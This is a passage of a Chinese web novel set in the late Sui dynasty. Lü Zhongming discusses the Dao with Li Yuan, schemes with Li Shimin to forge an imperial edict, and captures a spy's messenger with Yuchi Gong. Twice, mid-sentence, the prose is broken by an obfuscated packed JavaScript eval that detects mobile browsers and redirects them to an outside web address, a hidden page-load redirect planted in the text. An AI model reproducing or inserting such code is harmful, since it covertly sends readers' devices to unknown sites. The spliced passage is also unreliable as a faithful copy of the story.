吕仲明欣然坐下,心道料都抖完了,现在可以尽情地装神弄鬼了,遂道:“天道轮转,生死有序,俱是世间法则,晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563128|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈知唐王心有所系,却不必过哀。” 李渊道:“本王少时不信鬼神,不信运命,然而年纪大了,常觉心中戚戚,或许世间,真有许多事,乃是天命使然。” “唐王言重。”吕仲明不再与他拘礼,悠然道:“天命,往往不过是上位者施加于众生的意志而已。若说成败兴灭,功名富贵,这些都不算是天命。天命不是天道,生死,乃是天道使然。” 李渊道:“请问小友,生死乃何物?” 吕仲明悠然道:“飘风不终朝,骤雨不终日,天地尚不能久,况于人乎?” 这句乃是道德经上老子所言,果然李渊一听便有触动,吕仲明又解释道:“生与死,就像一条河流的两岸,无法在此岸窥见彼岸,生人无法理解死,死者亦无法论‘生’,正如这一刻的你走过了时光,却永远回不到过去,而这一刻的你知道未来,却不知真正的确切未来会如何。以生窥死,是生者无法理解之事。夏虫不可语冰,因为蜉蝣朝生暮死,便从无冬寒一说,更无法想象。生前有生前的广袤,死后有死后的无涯,死亡是静,生时则循环往复,谓之动,一动一静,乃是无极。” 吕仲明抬眼看着李渊,笑道:“唐王不必为死者悲伤,就连诸天仙佛,都在这‘道’的纳入之中。一旦证得大道,便将与天地一体,到得那时,浩浩苍生,是魂是鬼,是仙是人,都将与天地同化。天地之变,福至心灵。至于招魂弄鬼,求神问路,本不是道家所为,不过是市井愚夫愚妇,想不通,看不开,便胡整出的,自欺欺人的套路罢了。” 李渊笑了起来,频频点头,外头有人通传道:“世子求见。” 吕仲明知道是李建成来了,便起身拱手,李建成拜见父亲,又与吕仲明寒暄几句,吕仲明见今夜说得已够了,天色也不早了,便起意歇下。李世民便道:“我送仲明回去。” 李渊也未道何日再会,吕仲明便与李世民告辞出来,两人绝口不提殿内之事,只在黑夜里慢慢地走。 尉迟恭在前头打着灯笼,李世民一直在沉吟,转过后殿时,吕仲明吁了口气,似有所感。 “可怜夜半虚前席,不问苍生问鬼神。”吕仲明道。 李世民哭笑不得道:“世民代家父说声抱歉,自家母与舍弟过世后,他便常常想着这事。” 吕仲明这才意识到,这话若将自己比作贾谊,便把李渊比作了汉宣帝,终究是不太礼貌的,忙解释道:“该说抱歉的是我,只是意外唐王也会在意这个。” 李世民道:“不过证道一说,也令我茅塞顿开,话说……你是不是自己也说不‘道’来?” 吕仲明正色:“我说得出来,但我不说。” 李世民笑道:“莫要唬我,都说道可道非常道,想必是没有人说得出来的。” 吕仲明一本正经:“不能说,只因你未到窥道之境,贸贸然告诉你们,害得你出脱尘世了,还有谁去救受苦的百姓?” 李世民道:“算了罢,我看你也说不出。” 吕仲明:“说得出。” 李世民:“说不出。” 吕仲明:“说得出!” 李世民:“仲明,你这脖子冒青筋,凡事要一争对错长短的派头,可不是道家的无为风范。” 吕仲明:“……” 李世民大笑,停步,看着吕仲明只好笑。 “送你到这里了。”李世民仿佛吵赢了,得意的看着吕仲明,说:“尉迟恭,替我送仲明回去,缺什么东西,遣个人来我东府说一声就成。” 吕仲明揣着袖子,想讨回场子,远远道:“李世民,你媳妇姓长孙!是个好媳妇,别亏待了她!你来日……” 吕仲明说起来得意,险些就把什么事给说漏嘴了,幸亏四周无人,只有一个尉迟恭,夜来静谧,赶紧及时打住。 “给我记着。”吕仲明道:“走着瞧!” “谁怕谁!”李世民远远答道。 吕仲明便转身,跟着尉迟敬德走了。 尉迟敬德道:“他来日怎么样?” 吕仲明笑道:“以后你就知道了。” 尉迟敬德笑道:“你俩都是小孩,一般的心性。” 吕仲明瞥尉迟恭,想问他点什么,又不太想主动开口,尉迟恭走慢了点,与吕仲明并肩而行。 “‘道’是什么?”尉迟恭问。 “道,就是天地。化为大时,地崩山摧万物毁,化为小时,则是千古凌霄一羽毛。沧海倒灌,桑田变迁,道是光阴,世界。” 吕仲明懒懒回答,呼吸着深夜的新鲜空气,晋阳府里似乎都睡了,只有些许风吹来。 他解释道:“以及世界中的万物。” 尉迟恭笑着说:“不是不可说么?你就不怕我也出家去了。” 吕仲明无所谓道:“对你可以说。” 尉迟恭:“为什么?” 吕仲明:“因为说了你也不会往心里去,你只是想跟我随便说说话而已,并不关心道是什么。” 尉迟恭:“……” 吕仲明:“哈哈哈。” 尉迟恭一本正经道:“还以为你想带我去修仙。” 吕仲明走在前头,悠然道:“道就像一条流淌着的宏大河流,不管是生灵还是死物,是鬼魂还是仙神,都置身其中,是它的一部分,老君用一本道德经,告诉了凡人这些道理,短短几句话,建立了一种奇异的联系……” “……让人找到归宿,无名,万物之始,有名,万物之母。道就是孕育一切之母。我们都从道中来,也必将回到道中去。” 吕仲明在长香苑前停下脚步,与尉迟恭站在静夜之中,面对面。 尉迟恭手里的灯笼照亮了二人脚下的一小块地方,彼此安静对视。 “再见。”吕仲明轻轻地说,心中再次涌起那种奇异的情绪,他看着尉迟恭,发现尉迟恭也看着他。 尉迟恭的眼中充满温柔,可靠,以及让人舒服的感觉。 他长得很帅气,吕仲明心想。 那一刻,尉迟恭似乎想做点什么,他稍稍低下头来,看着吕仲明。 尉迟恭:“会常常见面的,仲明,我……” 吕仲明:“嗝儿。” 吕仲明忽然又打起呃逆来,忙摆手道:“早点休息。” 尉迟恭嗯了声,转身离去,吕仲明快步进去,一头撞在罗士信身上。 罗士信朗声道:“地崩山摧万物毁!千古凌霄一羽毛!好湿!好湿!吟得一手好湿!不如贤弟就留下作我面首,与愚兄对月当歌!吟诗作赋!何如?” 吕仲明:“……” 21. 第二十回:细作 夜,油灯光芒微弱。 “你去唐王处时,李建成又来了一趟。”秦琼道。 “喔,说的什么?”吕仲明换下袍子,问道。 罗士信道:“兵秣记载,都在这里了。” 吕仲明看了眼案上堆放着的几本书,便说:“我回去看看,明儿给你们个思路。” 说毕吕仲明便抱着书上楼去。这天晚上,他住在二楼,点起一盏灯,外面飘起了牛毛细雨。春夜寒漏,站在房中时,忽然有种说不出的孤独感。 自离开隋军后,与秦琼、罗士信二人朝夕相处,现在住进大房子里,他俩都各自一个房间,罗士信打鼾也吵不到他们了。奈何不知为何,颇有点戚戚之意。 吕仲明要关上窗,无意中朝外看了一眼,见远方漆黑的路上,那盏灯笼还亮着,尉迟恭还没有走。 尉迟恭仿佛远远地看着长香苑二楼,吕仲明亮起的灯,提着灯笼,独自站在细雨与夜风里。两人对视良久,吕仲明关上窗,坐在桌前,翻开李建成送来的书,内里是并州一地的征兵明细。 吕仲明看了会,边看边提笔在字里行间批注,颇有点心不在焉,关上灯,末了,推开窗又看一眼,见那盏灯笼轻轻摇晃,在深夜里离去。 翌日一起来就有早饭吃,吕仲明懒洋洋的,好久没过过这种生活了,唐王府吃的甚好,在长香苑内吃早饭时,婢女纷纷进来,摆开满桌子的小菜,每样都只用一个小碟盛着,三人坐在矮案上,面前是十四碟下粥的小菜,吕仲明呼噜呼噜吃完了,罗士信却道:“才这么一点,喂猫呢。” 秦琼道:“达官贵人家都这么吃。” “算了。”罗士信道:“去军营里再找点馒头吃。” 三人把桌上扫荡一空,秦琼与罗士信换了身全新的武袍,起身要走,吕仲明愕然道:“去哪?” “练兵。”秦琼道:“今天起,须得去军营报道了。” “晚上不回来了,得在军营里住好几天。”罗士信道:“照顾好自己,没事想哥哥们了,就到兵营里来。” 吕仲明有点不舍,却不得不让他们去,毕竟来了唐王府里,就得为人出力,秦琼与罗士信也等着建立军功的机会,不能总是混在一起了。 两人离去后,吕仲明伸了个懒腰,有点乏味。 既然大家都开始干活工作,自己也得找点事来做才行,但是做什么呢?主动去找李建成? 婢女们收拾了早饭残羹,吕仲明正坐着发呆时,外头有人来报,李世民来了。 李世民明显的满脸心事,进院门时险些还绊了一下,吕仲明哭笑不得,说:“每次见你的时候,是高兴还是担忧,都一眼能看得出来。” 李世民蓦然一怔,继而道:“说得对,是该有点城府。”旋即收敛心神,进来坐下,看着吕仲明,一副匪夷所思的样子,吕仲明吩咐人上茶,李世民勉强按捺住激动,问:“仲明,你昨天晚上说的什么?我会和长孙无垢成亲?” 吕仲明想了想,说:“叫长孙无垢吗?我倒是不知道她叫什么名字,如果是长孙无忌的妹妹,那就是了。” 李世民:“……” “我再去问问。”李世民道。 “不用问了,多半是了。”吕仲明道:“高士廉找你爹说亲?娶吧,好姑娘,尉迟恭,你不进来坐坐吗?” 尉迟恭送李世民过来后便站在外面,依旧是一身深蓝色武袍,就像个随时服侍李世民的家丁。吕仲明有点奇怪,这种将军级别的,不应该去带兵吗?兴许是前段时间的任务失败,被降级了,贬成个侍卫。 李世民道:“你怎么知道的?我肯定这件事,除了我父亲和无忌的舅舅,没有任何人知道。” 吕仲明一边给李世民煮茶,一边漫不经心道:“哎呀这是专业技能嘛,你忘了我是干嘛的吗?” 李世民哭笑不得,又道:“别闹,是猜到的?有什么传闻?” “真不是猜的。”吕仲明道:“这就是你的命,命中注定的一段好姻缘。他哥哥长孙无忌,以后会成为你极大的助力。” 李世民稍一沉吟,而后道:“我与无忌自小结识,八岁时他前往大兴,现在还留在那处,倒是常常想让无忌到我身边来,就是怕耽误了他的仕途。” 吕仲明的声音放轻了些,低声道:“你要是有心娶他妹妹,倒是可以考虑尽快将他叫回来。” 李世民道:“可他不会行军打仗……” 吕仲明淡淡道:“行军打仗的人会有的,你正缺谋臣,谋臣实在太少了。” 李世民看着吕仲明双眼,吕仲明一笑,李世民又道:“可我也没打算娶长孙秀,我还没见过她。” 吕仲明揶揄道:“你不娶就是了。” “不娶会怎样?”李世民反问道。 吕仲明还不好说,如果李世民不娶长孙无忌的妹妹会怎么样,说不定魏征才会因为这个倒大霉吧,毕竟当年李世民差点就把魏征一刀捅了,还是长孙皇后身着盛装拜了李世民三拜,口称“有此忠臣乃是社稷之福”,才帮魏征捡回一条命的。 当然这话他不会对李世民说,只是笑吟吟地看着他,李世民被他看得心里发毛。 “昨日你问的事。”李世民道:“我帮你找了些信报,你看看。” 说着李世民便从袖中取出几封信件,吕仲明看了眼,便道:“谢谢你这么相信我。” 李世民道:“本来也不是什么秘密,现在谁没个打听消息的本事。” 吕仲明展开信,心中对李世民充满感激,这些信件对他来说,确实非常重要。李世民喝了口茶,又道:“你不说,我还没发现,瓦岗军中,杜伏威军中,以及窦建德军中,都有僧人。” “就连杨广在江都的行宫里,也有僧侣。”吕仲明喃喃道:“前往瓦岗军,辅佐李密的,正是那位离开并州的神秀法师。” 李世民解释道:“杨广宫中的吉藏大师,是早在我还未曾出世时便已成名。江淮地区,都感念其慈悲智慧。这几位法师,都在尽力说服义军头领,尽量减少杀戮、刀兵。远在大兴善寺内的金刚智法师,更是劝诫百姓一心向善。年前杨玄感兴兵反隋之时,能保住大兴,此人功不可没。” 吕仲明回想起自己所知,发现许多事情已经不一样了。 “昨天晚上的事,令尊怎么说。”吕仲明问道。 “什么也没说。”李世民缓缓摇头,说:“大哥去了以后,便说了些闲话。” 吕仲明从这句话里猜得到,李渊一定是有计划,却和大儿子一起,瞒着李世民,李世民又说:“吕仲明,尉迟恭说,你值得相信,也值得托付,我知道你不是寻常人……” “说罢。”吕仲明道:“我是来助你的,有什么话,都可以对我说。” 李世民长叹一声,沉默许久,吕仲明抬眼时看见外面站着的尉迟恭的眼神,那是一种信任的,温柔的以及坚定的目光。 “第一眼见你,我就觉得十分亲切。”李世民认真道:“与你就像是认识多年的故友,而昨天晚上,你在我父亲面前所言,更证明了我的感受,只因我曾经也像你这么劝他。” “昨天晚上,你说的话,与我对他说的,一模一样。”李世民低声道:“连次序都没有丝毫区别,当真全无区别!我也劝他及早起兵,也劝他直取大兴,再等候时机!你知道家父为何没有回答你的话么?是因为他以为,这些话是我教你说的!” 吕仲明蓦然震动,没想到李世民的想法会与自己如此接近。 李世民寻思片刻,又道:“现在时机稍纵即逝,若不抓住机会,待杨广驾崩,天下必定再次四分五裂,一旦叛军都成了气候,要平定中原,就更难了。请你帮帮我。” 吕仲明喝了口茶,说:“他兴许在怀疑什么。” “怀疑什么?”李世民眉头一动,问道。 吕仲明道:“耳目众多,风吹草动,都会传到杨广耳朵里去,总之他怕。” 李世民叹了口气:“你说得不错,他有所顾忌,但根据我私下调查,两名晋阳副留守,已经在密谋对付他。” 吕仲明道:“恕我直言,他年纪大了。你四弟与你母亲相继离世,能令一个人的心态苍老许多,不复从前的雄心壮志,在许多事上,就拿不定主意,总想求个万全之法。我爹也说,一个人年轻的时候,总是天不怕地不怕,但上了年纪,就会顾忌甚多,心老。” 李世民笑道:“你很了解他。” 吕仲明笑笑。 李世民道:“我实在是心急如焚,偏偏他和大哥都不想打草惊蛇,高君雅,王威两名留守常与大兴消息往来,今年年初至今,越来越频繁,我猜他们不日间就想动手了!” 吕仲明道:“先把他们抓起来不就完了?” 李世民道:“谈何容易?我的身份太敏感了,而且没有证据。” 吕仲明想了想,说:“这事简单,我替你去,这事交给我去办。” 李世民一震,问道:“怎么解决?他们手握晋阳的另一半兵权,也都是老狐狸了,暗杀不得。” 吕仲明放下茶杯,说:“需要他们对付你爹的证据,就得打入他们内部。” 李世民犹豫良久,而后道:“刘文静就是我的人,但他在外征战突厥未归,我猜王、高二人,密谋对付我李家,根据消息往来,最近这段时间里,很可能会动手。” 吕仲明说:“你家世袭唐王,应该有杨广的御旨或是亲笔信,这就去偷一张出来。咱们伪造一份天子密旨,再随便扯件他们没见过的信物,就说我是杨广派来的密使,协同对付你爹。” 李世民:“……” 吕仲明道:“我就说天子下令,要尽快除去唐王,让他们调兵遣将,速度动手别墨迹了。你得到消息后,先布好埋伏,我去把他们府里的信带出来,当做证据。” “我呢,就把他们引进陷阱里来,一股脑儿收拾了。到时候你把人抓了,就什么事情都解决了。” 李世民看着吕仲明,说:“你这也……太……” “太坑爹吗?”吕仲明客气道:“哎呀,迟早的事,不过就是让他俩尽快,办完了好上路嘛。” 李世民:“等等,待我仔细想想。他们会相信你?就怕他们不信。” 吕仲明道:“你不是说,他们经常与大兴传递消息吗?咱们先把他们送出去的信使截住,抓回来,看看信里说的什么,再让他的信使反水,帮咱们,叫信使跟着去证明就行。到时候让信使带着我,到副留守面前去,说‘这位是扬州来的吕大人,陛下吩咐大人跟着我一起过来,督办此事’,我再出示杨广的密旨,事先对好口供,他们绝对不会怀疑。” 李世民心中一动,答道:”这办法不错,此处驻兵都是本地人……待我想想,抓住那名互通往来消息的信使不难,可是要怎么说服他,帮你伪造身份呢?” “这就看你的本事了。”吕仲明笑道:“堂堂王府世子,要说服一个信使,还不简单?许他点功名利禄,富贵荣华……那人能在副留守府上担任信差跑腿,想必混得不会太得志,收买他,甚至不用花多少钱。” 李世民朝他看了一眼,又说:“只怕封官还不够,得拿他妻儿老小一起要挟。” 吕仲明无所谓道:”都可以,反正答应帮忙就最好,不答应呢,再想办法也就是了。这买卖有赚无赔,我觉得他一定会答应,你说呢?” 吕仲明看着他只是忍不住笑,李世民沉默。 这计划虽然匪夷所思,然而却完全可行,只要作好后续收拾,两名朝廷命官明着要对付他,李渊不反都不行,待高君雅与王威知道中计,已是晚了。只要李世民下手干净利落,来个死无对证,谁也查不出是他俩暗中捣鬼。 李世民犹豫了短短数息,说:“行,就这么办!” “好胆识!”吕仲明笑道,换了别的人,他还真的没把握说服,然而李世民深知其中利害关系,也不止一次劝过李渊,此事宜早不宜迟。 李世民道:“我手下只有一千天策军,且无兵符,府中门客,大部分都听我大哥吩咐,得先知会他一声。” “不必。”吕仲明道:“我那俩哥哥手上有兵,虽全是新兵,但只要作好完全准备,对付点官兵足够了。高君雅与王威,手上还有多少人?” “两万人。”李世民起身踱步,说:“就怕不好收拾……” 吕仲明想的却是另一件事,摆手道:“世民兄,你有几成把握,将这些官兵收入你麾下?” 李世民一震,继而看着吕仲明,笑了起来。 吕仲明起身道:“你只管书信与伪造书信,说服信使反间这环,剩下的,我都替你办了,到时候你将晋阳守军纳入麾下,就可打仗,让我兄弟给你练兵。” 李世民大喜,吕仲明却上楼去换袍子,李世民又道:“等等!仲明!” 吕仲明拿着袍子下来,笑道:“怎么?” 李世民站在厅堂里,想了想,说:“给你派个跟的人。” “不用了。”吕仲明笑道:“吃你家住你家,本该为你干活。” 李世民道:“前些日子,我派敬德到塞外执行任务……” 听到这话时,吕仲明便停下动作,说:“执行什么任务?” “他想为我去刺杀突利可汗。”李世民道:“但没刺杀成,一来突利身边守卫严密,二来情况有变。我爹治了他玩忽职守之罪,降为侍卫。敬德,来。” 说到这时,尉迟恭才走进院内,只见他身穿深蓝武服,身材极好,赤臂袒胸,腰间佩一把陌刀,穿着一双木屐,朝吕仲明抱拳。 “我这就将他派给你。”李世民和颜悦色笑道:“待他将功补过,才好再让他重新带兵上战场去。” 吕仲明一时间不知该说什么,李世民又道:“敬德是我爱将,晋阳府中,能全心全意相信的人不多,我将他托付给你,望你能帮他一把。” “以后吕先生的起居饮食,就由你贴身照顾了。”李世民又侧头吩咐尉迟恭道:“照顾他有如照顾我,不可有丝毫怠慢。” “是。”尉迟恭答道。 李世民又朝吕仲明道:“敬德熟悉城中地形,有他带着,你可先随意在城中走动,搜集消息。我这边有了眉目,会来找你。” “你一切小心。”吕仲明道。 二人互一拱手,李世民离去。 尉迟恭脱了木屐,这才进厅内来,帮吕仲明系腰带。吕仲明不由得感叹,实在是用心良苦,而且搞得他甚尴尬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563129|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事实上自从见到尉迟恭开始,他就说不清对这大个子黑炭头究竟是个什么感觉。 和罗士信,秦琼是不同的,他与尉迟恭单独相处时,仿佛彼此都有点不太自在。 “想去哪里?”尉迟恭问道。 “唔……没想好。”吕仲明朝他笑了笑,询问道:“你呢?有想去的地方么?” 尉迟恭道:“执行公务,还是消遣?” 吕仲明道:“你听到了?” 尉迟恭道:“只听到最后一句,有眉目了,世民会来找你。” 吕仲明点头,说:“先随处逛逛罢。” 说着走出门去,吕仲明又意识到了什么,揶揄道:“你俩关系很好啊,他叫你‘敬德’,你叫他‘世民’,这么腻腻歪歪的。” 尉迟恭道:“不是你想的那样。” 吕仲明暗自好笑,说:“算了。” 尉迟恭在前头带路,吕仲明心底感谢还好李世民这么体贴,否则要让自己出去打听消息,估计连晋王府都走不出去。 “前面是晋阳宫。”尉迟恭解释道:“杨广西巡时的行宫。” 吕仲明随着尉迟恭离开晋王府,两人走过长街,吕仲明看到了另一座宏伟的建筑,行宫与王府遥遥呼应,一在北,一在南。 “官府在什么地方?”吕仲明问道。 “西边。”尉迟恭解释道:“晋阳作‘田’字型,南北东西分别是王府,行宫,官府与兵府。走起来要一天多,还是坐车或骑马罢。” 吕仲明道:“没关系,走累了就回去。” 尉迟恭看着吕仲明笑,吕仲明便道:“怎么?” “带你去西市玩。”尉迟恭道:“去么?” 吕仲明不置可否,随口道:“走吧。” 尉迟恭带吕仲明穿过长街后进入西市,西市里熙熙攘攘,一派富足之意,这里较之雁门关下又不可同日而语,整条市街俱摆满了塞外的特产,尤其是吃的,尉迟恭又道:“这边来。” 吕仲明一脸茫然,跟着尉迟恭走,尉迟恭身材高大,给吕仲明带路时,行人都纷纷让开。 两人进了街口处,整整一条街全是卖吃的,猫耳朵、八珍汤、酱肉、灌肠、羊杂汤,扎撒子…… “那是什么?”吕仲明一看到吃的就走不动路了,伸长了脖子问道:“那个呢?咱们先吃午饭罢……不,还是再走走好了,万一前面有更好吃的……” 尉迟恭:“……” 一如尉迟恭所料,来到吃的地方,吕仲明就彻底形象全无,端不起架子来了,吕仲明又道:“你在这等等,我先去买点来尝尝……” 要是十万两黄金在身上,吕仲明说不得马上就要把这整条街给买下来,让他们开到碧游宫外面去,天天给自己做好吃的。 尉迟恭忙牵着吕仲明的手,说:“我知道有一家,味道最正宗,你跟我来。” 时近中午,两人在一家食肆坐下,这家店里的羊杂汤与炸撒子乃是一绝,王府里吃的俱是精致菜肴,外头的风味小吃,正合吕仲明胃口,店里人实在太多,吕仲明只得与尉迟恭挤在一个角落里,稍微动一动,不是碰到手就是碰到脚的,隔壁就是一对搂着的小情人,吕仲明不由得看得有点荡漾。 尉迟恭:“小二,两碗羊杂汤。” “两碗怎么够!”吕仲明马上抗议道。 尉迟恭:“四碗,海碗上。再来两斤炸撒子。” 小二去打吃的,尉迟恭却似乎有点心不在焉,朝食肆外望去,吕仲明顺着他的目光看,发现了两个人,正在对街的酒肆前抱着胳膊说话,时不时瞥这边一眼。 吕仲明敏锐地发现了异常,这时羊肉汤与面饼都上了,便边吃边问:“那些人是做什么的?” “眼线。”尉迟恭低声道:“别看他们。” 吕仲明:“谁的眼线?” 尉迟恭:“皇帝的。” 吕仲明嗯了声,尉迟恭喝了口汤,想到了什么,又问:“公务内容是什么?可以告诉我么?” “逼反。”吕仲明言简意赅道。 尉迟恭倒是半点不奇怪,又道:“把暗地里的布置都放到明面上来,提前动手?是世民一直所想,不过奸细还没抓出来,现在会不会太早了点。” “什么?”吕仲明道:“他没告诉我,还有别的么?” 尉迟恭道:“王府里潜伏着一名奸细。” 说这话时,尉迟恭看着吕仲明,吕仲明忽然心中一动,似乎隐约抓到了某个要点,又问:“怎么知道的?” 尉迟恭靠得甚近,笑着看吕仲明双眼,解释道:“前段时间,刘文静查到了一个线索,据说是唐王埋伏在晋阳县府里的人提供的,杨广在唐王府上,埋下了一个奸细。” “这很好笑么?”吕仲明莫名其妙道。 尉迟恭笑容一敛,说:“有人盯着咱们,所以伪装伪装。” 吕仲明会心一笑,搭着尉迟恭肩膀,稍稍凑过去些,两人的脸挨得甚近,喂了他块饼。 那一刻,他几乎感觉到尉迟恭的呼吸停住了,只是短短一瞬间,又恢复了正常。吕仲明挠挠他的下巴,调戏得手,忍不住地好笑,好半晌后,尉迟恭才意识到自己被调戏了,登时哭笑不得。 “有奸细,会是谁?”吕仲明道。 “不知道。”尉迟恭道:“你最好别在唐王面前表露太过,先前他们也怀疑过你是杨广派来的奸细,毕竟,你是从杨广兵营里逃出来的。” 吕仲明嗯了声,尉迟恭又解释道:“是世民为你一力分说,唐王才相信他的推断。” “你和李世民究竟是什么关系?”吕仲明不知为什么,又想起这茬儿,忍不住把正经事抛在脑后,问道。 “没什么关系。”尉迟恭道:“我感念他知遇之恩,他将我当做兄长看待。” 吕仲明打量尉迟恭,说:“哦?是吗……” 尉迟恭:“你老着急这事做什么,我和他什么关系,对你来说很重要?” 吕仲明:“……” 吕仲明被反将了一军,知道尉迟恭在这种事上明显比他聪明,不对,尉迟恭似乎总是比他聪明,便不吭声了。 吃过饭,吕仲明又扶着墙出来,尉迟恭道:“你……仲明,别怪我多事。” 吕仲明:“什么。” 尉迟恭:“饮食要适量……” 吕仲明:“我就喜欢暴饮暴食!我爹都不敢说我呢!” 尉迟恭:“……” 吕仲明拐进一条巷子里,尉迟恭又道:“你从小到大都这么吃,怎么也长不胖?” 吕仲明:“我也不知道啊,小时候我爹还以为我不是亲生的,怀疑我其实是只假装成他儿子的貔貅……” 尉迟恭:“??” “嘘……”吕仲明发现了端倪,此刻巷子外那交谈的两人停下,一人便离开了,吕仲明拉着尉迟恭在房子拐角处看了一眼,便怀疑地问:“其实你是故意带我来西市的吧,怎么会这么巧,刚来就碰上城里的细作?” 尉迟恭笑了笑,说:”无意中撞上而已,我也不知道此处有细作,既然碰上了,追还是不追?” 吕仲明忽然感觉自己又被尉迟恭耍了,没好气道:“追吧,走,跟着他!” 22. 第二十一回:比武 那充当眼线的男人离开食街,便朝巷子里拐,吕仲明与尉迟恭追到巷子里,见其走进一个后院,吕仲明看了尉迟恭一眼,尉迟恭马上识趣躬身,手撑在膝盖上,吕仲明借着他的背脊爬上墙头,朝里面张望。 只见那男人进了院子,又从前门出来,两人便远远地看着那人,一连跟了好几条街,最后男人进了晋阳官府。 “回去。”尉迟恭果断道:“盯另外那人。” 吕仲明马上与尉迟恭快跑,回到街前,然而第一个人已经不见了,尉迟恭站了一会,说:“跟错了,咱们应该跟另一个。” “在那里!”吕仲明眼力极好,于长街人群中一眼辨出了第一个眼线,只见那人进了一家书铺里,再出来时,怀中多了一封信。紧接着那人沿着西城门出去,递出通关文书。 “他去送信了。”吕仲明道:“跟着他。” 尉迟恭马上去找马,调了一匹军马过来,吕仲明见城墙下有货郎挑着担子,便买了个弹弓,掂在手里玩了玩,尉迟恭过来,两人上马,尾随那人而去。 尉迟恭不敢让那人发现了,不紧不慢地跟在后头,朝吕仲明回头道:“待会要动手,你没带兵器,别随便出手,交给我……” 吕仲明在尉迟恭身后道:“没事,我有兵器。”说着以弹弓拍了拍尉迟恭,尉迟恭哭笑不得道:“别闹!” 吕仲明正色道:“这才是我的最强法宝!弓箭什么的都弱爆了,小爷从小玩弹弓才是百发百中……” 尉迟恭稍一迟疑,吕仲明又道:“不能见血,你别抽刀,待会咱们还得把这人给绑回城去,万一淌血就麻烦了。” 尉迟恭眼见已快追上了,问道:“把他诱下马来?” “直接冲过去!”吕仲明道。 说话间尉迟恭猛催战马,追上了那信使,信使见背后有人追来,登觉不妥,也要加速,尉迟恭却在这一念间追上了他,吕仲明朗声道:“前面的大哥!问你个事!” 信使:“?” 信使转头过来。 吕仲明从尉迟恭身后探出头,朝那信使问道:“你挨过弹弓吗?!” 说时迟那时快,一枚金锭已到了眼前,击中那信使眼眶,信使大叫一声,栽下马去,尉迟恭双腿控马,两手紧握陌刀,连刀带鞘漂亮一挥,一声闷响,将那信使从马上挑得飞起,摔到路边。 两人在路边下马,吕仲明上前去检查那人死活,道:“快!用麻袋把他套起来!” 那信使一阵抽搐,吕仲明拉开弹弓又给了他一下,尉迟恭补上一记刀鞘,将信使装进麻袋里,搁在马上,两人火速回城。到得城外,正好是傍晚,城外农民耕种归来,回晋阳东陌吃晚饭歇息,吕仲明时间掐得刚好,便让尉迟恭使了点钱,将那麻袋混在干草车里,押进城去。 “不能带回王府。”尉迟恭道:“车子也进不去,一进去就有盘查。” 吕仲明道:“放心,咱们去东营里。” 当天傍晚,罗士信回军营时,被绑着的一个人吓了一跳。 “没有地方去。”吕仲明道:“只好暂时寄放你这儿。” 罗士信打量那被塞着嘴的男人,又看看吕仲明,问:“怎么抓回来的?” 吕仲明道:“我先是跟着他出城,悄悄地跟着,然后我射了一下,尉迟恭给了他一拳,我又射了他一下,尉迟恭又给了他一拳……” “停!”罗士信道:“谁要听你怎么打的!说重点!” 吕仲明只得道:“这人是个奸细,朝扬州送信的,被我们抓回来了,还没审呢,等李世民过来。” 不片刻,秦琼也过来了,三人面面相觑,吕仲明简短了说了此人来龙去脉,秦琼道:“你这就把官府的人给抓来了,接下来得怎么收拾?” 吕仲明道:“藏你军营里,反正那俩副留守也不知道,只以为这信使送信去了,十天半个月才能回来。” 正说话时,尉迟恭带着李世民进了军营,外面天色已晚,全城宵禁,李世民穿着斗篷,进来便拉下兜帽,朝两人点头。 吕仲明递出一封信,尉迟恭看了数人一眼,说:“我到外面去。” “就在这儿罢。”秦琼道:“军营里是最安全的地方。” “我大哥去大兴了。”李世民道:“今天刚走的。” 吕仲明:“去做什么?” 李世民摇头,展开信,里面是并州副留守的亲笔手书,内里提及不少并州兵力布置,突厥的用兵计划等等,李世民眉头深深拧起,吕仲明又递给他一封信,问:“王府里是不是有杨广埋下的奸细,怎么不早说?” 李世民看了吕仲明一眼,说:“此事非常敏感,我不敢说。” 吕仲明交出来的第二封信,字迹却十分娟秀,内里写的,尽是关于李渊招募贤才,有意举兵反隋一事。 “是个女人。”李世民眉头深锁道。 “不一定。”吕仲明道:“也有可能是个男人,假托女性字迹所写。” 李世民道:“太难查了……” 尉迟恭扯下那信报封口的布条,那人便哀嚎起来:“世子饶命!世子饶命啊!小人什么都不知道!是王大人和高大人吩咐小的去送信的——” “送到扬州给谁?”李世民先是问道。 那信使说了个人的名字,吕仲明听也没听过,料想是杨广的线人。李世民又道:“第二封信是谁写的?” 信使道:“是……是……小人也不知道……送信的人从来不与我们打照面……只把信夹在书里……小的每月初一,就去书铺子里找信……” 李世民与数人对视一眼,说:“你们怎么把他抓回来的?” 吕仲明一扬手,拿着个弹弓。 “市集上买的。”吕仲明道。 李世民真是没脾气了,寻思良久,而后道:“只能先把他关在此处,余下的,待我从长计议。” 数人都是点头,李世民道:“我还得去高士廉家里一趟,待回来再行商议,尉迟恭,你送仲明回去。” 尉迟恭点头,将李世民送出兵营,罗士信怕走漏风声,便把那人拖到后院柴房里去,堵上嘴,关了起来。秦琼问:“吃饭了么?一起吃罢。” 吕仲明道:“尉迟也没吃,待会我和他回去吃罢。” 秦琼朝外看了一眼,问:“你俩怎么在一起做事了?” 刚好罗士信回转,吕仲明便把尉迟恭跟着自己,照顾自己的事给罗士信说了,罗士信道:“什么戴罪立功?这是撮合你俩罢。” 